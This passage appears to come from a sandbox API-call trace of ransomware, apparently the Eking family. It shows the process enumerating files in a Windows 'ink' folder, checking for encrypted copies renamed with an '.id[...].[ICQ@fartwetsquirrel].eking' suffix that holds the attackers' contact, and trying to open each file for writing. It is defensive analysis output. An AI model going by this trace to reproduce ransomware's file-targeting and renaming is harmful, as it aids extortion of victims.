hTemplateFile=0x0) returned 0x37c [0231.251] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3584) returned 1 [0231.251] CloseHandle (hObject=0x37c) returned 1 [0231.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0231.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0231.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.252] SetEvent (hEvent=0x2b8) returned 1 [0231.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.252] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10752) returned 1 [0231.252] CloseHandle (hObject=0x37c) returned 1 [0231.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0231.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0231.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.253] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10752) returned 1 [0231.254] CloseHandle (hObject=0x37c) returned 1 [0231.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui")) returned 0x20 [0231.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui")) returned 0x20 [0231.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.255] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10752) returned 1 [0231.255] CloseHandle (hObject=0x37c) returned 1 [0231.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0231.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0231.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.264] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10240) returned 1 [0231.264] CloseHandle (hObject=0x37c) returned 1 [0231.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui")) returned 0x20 [0231.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui")) returned 0x20 [0231.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.264] SetEvent (hEvent=0x2b8) returned 1 [0231.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.286] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=804864) returned 1 [0231.286] CloseHandle (hObject=0x37c) returned 1 [0231.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20 [0231.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20 [0231.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.287] SetEvent (hEvent=0x2b8) returned 1 [0231.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.291] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=11264) returned 1 [0231.291] CloseHandle (hObject=0x37c) returned 1 [0231.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0231.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0231.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.292] SetEvent (hEvent=0x2b8) returned 1 [0231.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.298] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=212) returned 1 [0231.298] CloseHandle (hObject=0x37c) returned 1 [0231.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0231.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0231.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.299] SetEvent (hEvent=0x2b8) returned 1 [0231.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.306] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=215) returned 1 [0231.306] CloseHandle (hObject=0x37c) returned 1 [0231.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0231.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0231.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.313] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=693) returned 1 [0231.314] CloseHandle (hObject=0x37c) returned 1 [0231.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0231.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0231.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.316] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3333) returned 1 [0231.316] CloseHandle (hObject=0x37c) returned 1 [0231.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0231.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0231.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.326] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=247) returned 1 [0231.326] CloseHandle (hObject=0x37c) returned 1 [0231.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0231.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0231.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.327] SetEvent (hEvent=0x2b8) returned 1 [0231.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.336] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=738) returned 1 [0231.336] CloseHandle (hObject=0x37c) returned 1 [0231.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0231.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0231.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.337] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.337] SetEvent (hEvent=0x2b8) returned 1 [0231.337] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0231.345] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=488) returned 1 [0231.345] CloseHandle (hObject=0x364) returned 1 [0231.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0231.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0231.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0231.357] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=15097) returned 1 [0231.357] CloseHandle (hObject=0x364) returned 1 [0231.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0231.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0231.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.357] SetEvent (hEvent=0x2b8) returned 1 [0231.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.615] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=11067) returned 1 [0231.615] 